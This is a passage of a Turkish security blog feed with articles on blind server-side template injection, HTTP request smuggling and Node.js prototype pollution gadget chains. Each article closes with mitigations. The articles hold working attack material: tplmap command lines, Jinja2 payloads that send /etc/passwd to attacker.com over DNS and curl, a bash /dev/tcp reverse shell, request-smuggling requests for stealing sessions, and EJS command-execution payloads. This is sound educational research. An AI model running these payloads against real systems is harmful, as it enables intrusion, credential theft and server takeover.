# Temel tarama
python tplmap.py -u &amp;quot;http://target.com/greet?name=test&amp;quot;

# POST parametresi
python tplmap.py -u &amp;quot;http://target.com/profile&amp;quot; -d &amp;quot;bio=test&amp;quot;

# Cookie parametresi
python tplmap.py -u &amp;quot;http://target.com/&amp;quot; --cookie &amp;quot;session=abc; template=test&amp;quot;

# OS komut çalıştırma
python tplmap.py -u &amp;quot;http://target.com/greet?name=test&amp;quot; --os-cmd &amp;quot;id&amp;quot;

# Reverse shell
python tplmap.py -u &amp;quot;http://target.com/greet?name=test&amp;quot; --os-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;tplmap otomatik olarak Jinja2, Twig, FreeMarker, ERB, Velocity, Smarty, Mako ve daha birçok engine&#39;i test eder.&lt;/p&gt;
&lt;h3&gt;Veri Sızdırma: Blind Durumda&lt;/h3&gt;
&lt;p&gt;RCE elde edildikten sonra, çıktısız ortamda veri almak için:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DNS üzerinden dosya içeriği:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# /etc/passwd içeriğini base64 ile DNS&#39;e gömme
{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(
  &#39;cat /etc/passwd | base64 | tr -d &amp;quot;&#92;&#92;n&amp;quot; | xargs -I{} nslookup {}.attacker.com&#39;
).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HTTP callback ile dosya gönderme:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(
  &#39;curl -d @/etc/passwd http://attacker.com/collect&#39;
).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Reverse shell:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(
  &#39;bash -c &amp;quot;bash -i &amp;gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1&amp;quot;&#39;
).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Asla kullanıcı girdisini template string&#39;ine doğrudan ekleme:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# YANLIŞ — injection noktası
render_template_string(f&amp;quot;Hello {user_input}!&amp;quot;)

# DOĞRU — değişken bağlama
render_template_string(&amp;quot;Hello {{ name }}!&amp;quot;, name=user_input)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Sandbox modunda çalıştır:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Jinja2 — SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# __class__, __mro__, __subclasses__ erişimi engellenir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. İzin verilen template değişkenlerini allowlist ile sınırla:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;ALLOWED_VARS = {&#39;username&#39;, &#39;email&#39;, &#39;date&#39;}
context = {k: v for k, v in user_context.items() if k in ALLOWED_VARS}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Kullanıcının template yazmasına izin verme:&lt;/strong&gt; Kullanıcılar en fazla &lt;code&gt;{username}&lt;/code&gt; gibi basit placeholder formatları kullanabilmeli; tam template syntax&#39;ine erişmemeli.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. WAF kuralı:&lt;/strong&gt; &lt;code&gt;{{&lt;/code&gt;, &lt;code&gt;${&lt;/code&gt;, &lt;code&gt;&amp;lt;%=&lt;/code&gt;, &lt;code&gt;#{&lt;/code&gt; gibi template delimiter&#39;larını giriş noktalarında filtrele.&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Blind SSTI, &amp;quot;görünmez&amp;quot; bir güvenlik açığı değildir — yalnızca daha sabırlı bir yaklaşım gerektirir. Zamanlama farkları, DNS callback&#39;leri ve hata kodu analizi ile hem engine hem de execution ortamı tespit edilebilir. Tespit edildikten sonra, tüm sömürü teknikleri standart SSTI ile aynıdır.&lt;/p&gt;
&lt;p&gt;Savunma tarafı da aynı şekilde basittir: kullanıcı girdisini template string&#39;ine &lt;strong&gt;hiçbir zaman&lt;/strong&gt; doğrudan ekleme. Bu tek kural, bir RCE zincirini başlamadan keser.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Araştırmacı:&lt;/strong&gt; James Kettle / PortSwigger, Mahmoud Gamal (ERB), Emilio Pinna (tplmap)&lt;br /&gt;
&lt;strong&gt;Referans:&lt;/strong&gt; &lt;a href=&quot;https://portswigger.net/research/server-side-template-injection&quot;&gt;https://portswigger.net/research/server-side-template-injection&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Araç:&lt;/strong&gt; &lt;a href=&quot;https://github.com/epinna/tplmap&quot;&gt;https://github.com/epinna/tplmap&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>HTTP Request Smuggling: Front-End/Back-End HTTP Parse Uyumsuzluğunu Sömürmek</title>
    <link href="https://tagmachan.com/http-request-smuggling-front-end-back-end-http-parse-uyumsuzlugunu-somurmek.tagox"/>
    <updated>2026-05-28T09:00:00Z</updated>
    <id>https://tagmachan.com/http-request-smuggling-front-end-back-end-http-parse-uyumsuzlugunu-somurmek.tagox</id>
    <category term="Security Research"/>
    <summary>Saldırganlar, ön-uç ve arka-uç sunucuların HTTP isteğinin nerede başlayıp bittiği konusundaki uyumsuzluğunu nasıl sömürür — ve CL.TE desync saldırıları hesap ele geçirme, güvenlik duvarı bypass ve önbellek zehirlemeye nasıl zincirlenir.</summary>
    <content type="html">&lt;h3&gt;Giriş: HTTP/1.1&#39;de Saklı Bir Uyumsuzluk&lt;/h3&gt;
&lt;p&gt;Modern web mimarilerinin neredeyse tamamı katmanlıdır: önde bir CDN veya ters proxy (Nginx, HAProxy, Cloudflare), arkada bir uygulama sunucusu (Apache, Node.js, Gunicorn). Bu iki katman, aynı TCP bağlantısı üzerinden HTTP isteklerini birbirine iletir — bu mekanizma &lt;strong&gt;HTTP Connection: keep-alive&lt;/strong&gt; ile mümkün olur.&lt;/p&gt;
&lt;p&gt;Bu katmanlar arasında kritik bir soru vardır: &lt;strong&gt;&amp;quot;Bu isteğin gövdesi nerede bitiyor?&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;HTTP/1.1 bu soruyu iki farklı başlıkla yanıtlar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content-Length (CL):&lt;/strong&gt; &amp;quot;Gövde tam olarak N byte uzunluğundadır.&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transfer-Encoding: chunked (TE):&lt;/strong&gt; &amp;quot;Gövde parçalar halinde gelecek; sıfır uzunluklu parça gelince biter.&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bir istekte her ikisi de varsa RFC 7230 şunu söyler: Transfer-Encoding önceliklidir. Ancak tüm sunucular bu kuralı uygulamaz. İşte bu &lt;strong&gt;uyumsuzluk&lt;/strong&gt; saldırı yüzeyini oluşturur.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/http-smuggling-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CL.TE Saldırısı&lt;/h3&gt;
&lt;p&gt;En yaygın desync türü: &lt;strong&gt;ön-uç CL kullanır, arka-uç TE kullanır.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Savunmasız senaryo:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Front-end (CDN/Proxy):    Content-Length&#39;e göre parse eder
Back-end (App Server):    Transfer-Encoding: chunked&#39;a göre parse eder
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Saldırı isteği:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling-test
0

GET /admin HTTP/1.1
X-Ignore: x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Ön-uç perspektifi:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Content-Length = 49 → tüm gövdeyi (49 byte) okur → arka-uca iletir. Güvenlik kontrolleri? Yol &amp;quot;/&amp;quot; → sorun yok.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Arka-uç perspektifi:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Transfer-Encoding: chunked kullanır:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt; (14) → 14 byte okur: &lt;code&gt;q=smuggling-test&#92;r&#92;n&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; → chunked gövde bitti, istek tamamlandı&lt;/li&gt;
&lt;li&gt;Kalan: &lt;code&gt;GET /admin HTTP/1.1&#92;r&#92;nX-Ignore: x&lt;/code&gt; → &lt;strong&gt;TCP buffer&#39;da bekler&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bir sonraki kullanıcının isteği geldiğinde, arka-uç onu şöyle görür:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /admin HTTP/1.1
X-Ignore: xGET /profile HTTP/1.1
Host: target.com
Cookie: session=kurban_token_buraya
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kurbanın isteği, saldırganın &lt;code&gt;/admin&lt;/code&gt; prefix&#39;ine &amp;quot;yapıştırılmış&amp;quot; halde işlenir.&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;http://te.cl/&quot;&gt;TE.CL&lt;/a&gt; Saldırısı&lt;/h3&gt;
&lt;p&gt;Diğer yön: &lt;strong&gt;ön-uç TE kullanır, arka-uç CL kullanır.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Ön-uç:&lt;/strong&gt; Chunked parse eder → &amp;quot;8&amp;quot; byte chunk okur → &amp;quot;0&amp;quot; ile biter → tüm mesajı arka-uca iletir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Arka-uç:&lt;/strong&gt; Content-Length = 3 kullanır → ilk 3 byte&#39;ı gövde olarak alır (&lt;code&gt;8&#92;r&#92;n&lt;/code&gt;) → gerisi buffer&#39;da kalır: &lt;code&gt;SMUGGLED&#92;r&#92;n0&#92;r&#92;n&#92;r&#92;n&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bu kalan veri, bir sonraki isteğin başına eklenir.&lt;/p&gt;
&lt;h3&gt;TE.TE Saldırısı: Obfuscation Yoluyla&lt;/h3&gt;
&lt;p&gt;Her iki sunucu da Transfer-Encoding&#39;i destekliyorsa, &lt;strong&gt;encoding&#39;i gizleyerek&lt;/strong&gt; birinin atlasını sağlamak mümkündür:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, chunked
Transfer-Encoding:chunked
Transfer-Encoding: x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RFC&#39;ye uygun olmayan bir sunucu bu başlıkları görmezden gelir ve CL&#39;ye düşer. Diğer sunucu &lt;code&gt;chunked&lt;/code&gt;&#39;ı tanır ve TE&#39;yi kullanır. Sonuç: yine desync.&lt;/p&gt;
&lt;h3&gt;Saldırı Zinciri: Hesap Ele Geçirme&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/http-smuggling-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Adım adım kurban session token&#39;ını çalmak:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Tuzak isteği gönder:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Host: target.com
Content-Length: 200

comment=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Kurbanın isteği smug edilmiş yorum gövdesine eklenir:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arka-uç, kurbanın &lt;code&gt;Cookie: session=...&lt;/code&gt; başlığını &lt;code&gt;comment=&lt;/code&gt; değerinin devamı olarak işler. Yorum veritabanına kaydedilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Yorumu oku:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /comments HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kurbanın tüm HTTP başlıkları (Cookie dahil) yorum içeriğinde görünür.&lt;/p&gt;
&lt;h3&gt;Tespit: Burp Suite ile&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Burp Suite → Proxy → HTTP Smuggler extension&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Manuel CL.TE testi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests

# Zaman farkı testi: normal istek ile karşılaştır
normal_time = requests.post(&amp;quot;http://target.com/&amp;quot;, timeout=10).elapsed.total_seconds()

# CL.TE probe — yanlış chunk size ile 10 saniyelik gecikme beklenir
payload = &amp;quot;POST / HTTP/1.1&#92;r&#92;nHost: target.com&#92;r&#92;nContent-Length: 6&#92;r&#92;nTransfer-Encoding: chunked&#92;r&#92;n&#92;r&#92;n0&#92;r&#92;n&#92;r&#92;nX&amp;quot;
probe_time = # ... gönder ve süreyi ölç

if probe_time &amp;gt; normal_time + 8:
    print(&amp;quot;[!] CL.TE desync muhtemelen mevcut!&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. HTTP Request Smuggler (Burp extension):&lt;/strong&gt; Otomatik olarak CL.TE, &lt;a href=&quot;http://te.cl/&quot;&gt;TE.CL&lt;/a&gt;, TE.TE varyantlarını dener ve zaman farklarını ölçer.&lt;/p&gt;
&lt;h3&gt;Etki Alanları&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Saldırı&lt;/th&gt;
&lt;th&gt;Sonuç&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Request prefix injection&lt;/td&gt;
&lt;td&gt;Kurbanın cookie/header&#39;larını çal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin&lt;/code&gt; bypass&lt;/td&gt;
&lt;td&gt;Güvenlik duvarı kurallarını atla&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cache poisoning&lt;/td&gt;
&lt;td&gt;Zararlı yanıtı önbelleğe al&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web cache deception&lt;/td&gt;
&lt;td&gt;Kişisel sayfaları önbelleğe aldır&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS amplification&lt;/td&gt;
&lt;td&gt;Smuggle ile XSS yayılımı&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Back-end&#39;de Transfer-Encoding başlığını devre dışı bırakın&lt;/strong&gt; (eğer CDN zaten handle ediyorsa):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;proxy_http_version 1.1;
proxy_set_header Connection &amp;quot;&amp;quot;;
# TE başlığını temizle:
proxy_set_header Transfer-Encoding &amp;quot;&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. HTTP/2 kullanın:&lt;/strong&gt; HTTP/2&#39;de request smuggling bu formda mümkün değildir (binary framing).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Normalize edin:&lt;/strong&gt; Back-end&#39;e iletmeden önce hem CL hem TE varsa isteği reddedin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. CDN/Proxy&#39;yi güvenilir ayarlarla yapılandırın:&lt;/strong&gt; Çelişen başlıkları sessizce geçirmeyin.&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;HTTP Request Smuggling, iki güvenilir sunucunun birbiriyle konuşurken oluşan güvenden doğar. Saldırganın hedef uygulamaya doğrudan erişimi olmaksızın, yalnızca bir &amp;quot;garip&amp;quot; istek göndererek başka kullanıcıların oturumlarını çalabilmesi — bu tekniğin ne kadar güçlü ve sinsi olduğunu gösterir.&lt;/p&gt;
&lt;p&gt;James Kettle&#39;ın DEF CON 26&#39;da sunduğu bu araştırma, bugün hâlâ birçok büyük CDN ve proxy&#39;de aktif güvenlik açıkları bulmaya devam etmektedir.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Araştırmacı:&lt;/strong&gt; James Kettle / PortSwigger Research&lt;br /&gt;
&lt;strong&gt;İlk Sunum:&lt;/strong&gt; DEF CON 26, Black Hat USA 2019&lt;br /&gt;
&lt;strong&gt;Referans:&lt;/strong&gt; &lt;a href=&quot;https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn&quot;&gt;https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Prototype Pollution&#39;dan RCE&#39;ye: Node.js Gadget Zincirleri</title>
    <link href="https://tagmachan.com/prototype-pollutiondan-rceye-nodejs-gadget-zincirleri.tagox"/>
    <updated>2026-05-27T11:00:00Z</updated>
    <id>https://tagmachan.com/prototype-pollutiondan-rceye-nodejs-gadget-zincirleri.tagox</id>
    <category term="Security Research"/>
    <summary>JavaScript&#39;in Object.prototype&#39;ına özellik enjekte etmek, tüm Node.js sürecini nasıl zehirler — ve gadget zincirleri bu kirliliği nasıl uzaktan kod çalıştırmaya dönüştürür. CVE-2024-38999 (RequireJS) üzerinden gösterim.</summary>
    <content type="html">&lt;h3&gt;Giriş: JavaScript Prototype Zinciri&lt;/h3&gt;
&lt;p&gt;JavaScript&#39;te her nesne, &lt;code&gt;[[Prototype]]&lt;/code&gt; adı verilen gizli bir bağlantıya sahiptir. Bu bağlantı, nesnenin özelliğe sahip olmadığı durumlarda aramanın nerede devam edeceğini belirler — bu mekanizma &lt;strong&gt;prototip kalıtımı&lt;/strong&gt; olarak bilinir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const user = { name: &amp;quot;alice&amp;quot; };
// user.__proto__ → Object.prototype
// user.toString() → Object.prototype.toString&#39;den gelir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zincirin en tepesinde &lt;strong&gt;&lt;code&gt;Object.prototype&lt;/code&gt;&lt;/strong&gt; bulunur. Node.js sürecindeki &lt;em&gt;her&lt;/em&gt; nesne bu prototipi kalıtır. Bu gerçek, kritik bir güvenlik sorusunu doğurur:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Object.prototype&lt;/code&gt;&#39;a bir özellik eklersek ne olur?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true  ← hiç tanımlamadık
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cevap: Süreçteki &lt;em&gt;tüm nesneler&lt;/em&gt; bu özelliği anında kalıtır.&lt;/p&gt;
&lt;h3&gt;Prototype Pollution Nedir?&lt;/h3&gt;
&lt;p&gt;Prototype pollution, saldırganın kullanıcı kontrolündeki veriler aracılığıyla &lt;code&gt;Object.prototype&lt;/code&gt;&#39;ı değiştirebilmesi durumudur.&lt;/p&gt;
&lt;p&gt;Bu genellikle güvensiz &lt;code&gt;merge&lt;/code&gt;, &lt;code&gt;clone&lt;/code&gt;, veya &lt;code&gt;extend&lt;/code&gt; işlemleri aracılığıyla gerçekleşir:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Savunmasız deep merge:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === &amp;quot;object&amp;quot;) {
      merge(target[key], source[key]);  // recursive
    } else {
      target[key] = source[key];       // NO KEY GUARD
    }
  }
}

// Saldırgan payload:
merge({}, JSON.parse(&#39;{&amp;quot;__proto__&amp;quot;:{&amp;quot;shell&amp;quot;:&amp;quot;bash&amp;quot;}}&#39;));
// Artık: Object.prototype.shell === &amp;quot;bash&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__proto__&lt;/code&gt; anahtarı özel bir JavaScript semantiğine sahiptir: &lt;code&gt;target.__proto__&lt;/code&gt; aslında &lt;code&gt;Object.prototype&lt;/code&gt;&#39;ı döndürür. Bu yüzden &lt;code&gt;target.__proto__.shell = &amp;quot;bash&amp;quot;&lt;/code&gt; ifadesi &lt;code&gt;Object.prototype.shell = &amp;quot;bash&amp;quot;&lt;/code&gt; ile eşdeğerdir.&lt;/p&gt;
&lt;p&gt;Alternatif kirletme yolları:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// constructor.prototype yoluyla
{&amp;quot;constructor&amp;quot;: {&amp;quot;prototype&amp;quot;: {&amp;quot;admin&amp;quot;: true}}}

// URL parametresi yoluyla
?__proto__[shell]=bash

// JSON merge patch yoluyla
PATCH /config  {&amp;quot;__proto__&amp;quot;: {&amp;quot;debug&amp;quot;: true}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server-Side Prototype Pollution (SSPP)&lt;/h3&gt;
&lt;p&gt;İstemci tarafı (browser) prototype pollution iyi bilinir. Ancak daha tehlikeli olan &lt;strong&gt;server-side&lt;/strong&gt; varyantıdır: Node.js sürecindeki &lt;code&gt;Object.prototype&lt;/code&gt; zehirlenir.&lt;/p&gt;
&lt;p&gt;Neden daha tehlikeli?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tek bir istek tüm uygulamayı etkiler&lt;/li&gt;
&lt;li&gt;Belleğe yazılır, her sonraki nesne etkilenir&lt;/li&gt;
&lt;li&gt;Kütüphane gadget&#39;ları RCE&#39;ye kadar zincirlenebilir&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/prototype-pollution-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CVE-2024-38999: RequireJS Prototype Pollution&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RequireJS&lt;/strong&gt;, Node.js ve browser ortamlarında yaygın olarak kullanılan bir modül yükleme kütüphanesidir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Savunmasız işlev: &lt;code&gt;require.config()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// RequireJS kaynak kodu (basitleştirilmiş)
req.config = function(config) {
  // config nesnesi doğrulama YAPILMADAN
  // mevcut cfg ile deep merge edilir
  extend(cfg, config);  // __proto__ key&#39;i korunmuyor!
  return req;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kullanıcı kontrolündeki bir &lt;code&gt;config&lt;/code&gt; nesnesi &lt;code&gt;require.config()&lt;/code&gt;&#39;e geçirilirse:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// Saldırgan tarafından kontrol edilen config
require.config({
  &amp;quot;__proto__&amp;quot;: {
    &amp;quot;shell&amp;quot;: &amp;quot;bash&amp;quot;
  }
});
// Object.prototype.shell === &amp;quot;bash&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gadget Zincirleri: Kirliliği RCE&#39;ye Dönüştürmek&lt;/h3&gt;
&lt;p&gt;Prototype pollution tek başına zararsızdır. Tehlike, uygulamada &lt;em&gt;gadget&lt;/em&gt; adı verilen kodun varlığında ortaya çıkar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gadget:&lt;/strong&gt; Kirlenmiş özelliği okuyup tehlikeli biçimde kullanan mevcut kod parçası.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/prototype-gadget-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Gadget 1: EJS Template Engine (CVE-2022-29078 tarzı)&lt;/h4&gt;
&lt;p&gt;EJS (Embedded JavaScript Templates), render sırasında &lt;code&gt;outputFunctionName&lt;/code&gt; seçeneğini okur ve bu değeri &lt;em&gt;doğrudan kod olarak değerlendirir&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// EJS kaynak kodu (iç)
if (opts.outputFunctionName) {
  prepended += `  var ${opts.outputFunctionName} = __output;&#92;n`;
}
// → String.prototype&#39;dan kalıtılmış değer eval olarak çalıştırılır
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Saldırı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 1. Object.prototype kirlet
Object.prototype.outputFunctionName =
  &amp;quot;x;process.mainModule.require(&#39;child_process&#39;).execSync(&#39;id &amp;gt; /tmp/pwned&#39;)//&amp;quot;;

// 2. EJS bir şablon render etmeye çalışsın (normal akış)
ejs.render(&amp;quot;&amp;lt;%= name %&amp;gt;&amp;quot;, { name: &amp;quot;alice&amp;quot; });
// → gadget tetiklenir → RCE
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Gadget 2: child_process.spawn Options&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// Uygulama kodu — masum görünür
const { spawn } = require(&amp;quot;child_process&amp;quot;);

function runConverter(file) {
  // options nesnesi boş; değerler Object.prototype&#39;tan kalıtılır
  const proc = spawn(&amp;quot;convert&amp;quot;, [file], {});
  return proc;
}

// Pollution ile:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: &amp;quot;--require /tmp/malicious.js&amp;quot; };
// spawn artık /bin/bash ile shell olarak çalışır
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Gadget 3: Handlebars Template Engine&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Object.prototype.type = &amp;quot;Program&amp;quot;;
Object.prototype.body = [/* AST node for require(&#39;child_process&#39;).exec(...) */];
// Handlebars compile → AST traversal → RCE
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tam Saldırı Zinciri: CVE-2024-38999&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTTP İsteği → require.config(userInput)
    ↓ deep merge (key guard yok)
Object.prototype.shell = &amp;quot;bash&amp;quot;
    ↓ gadget aranıyor
ejs.render() veya spawn() tetiklenir
    ↓ kirlenmiş özellik okunur
/bin/bash çalıştırılır
    ↓
RCE — sunucu ele geçirildi
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Key guard ekleyin:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function safemerge(target, source) {
  for (const key of Object.keys(source)) {
    // __proto__ ve constructor&#39;ı filtrele
    if (key === &amp;quot;__proto__&amp;quot; || key === &amp;quot;constructor&amp;quot;) continue;
    if (typeof source[key] === &amp;quot;object&amp;quot;) {
      safemerge(target[key] ??= {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Object.create(null) kullanın:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// Prototype&#39;sız nesne oluştur
const config = Object.create(null);
// __proto__ kalıtımı yoktur — kirletme imkânsız
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Object.prototype&#39;ı dondurun:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Object.freeze(Object.prototype);
// Pollution girişimi sessizce başarısız olur (strict modda hata verir)
&lt;/code&gt;&lt;/pre&gt;
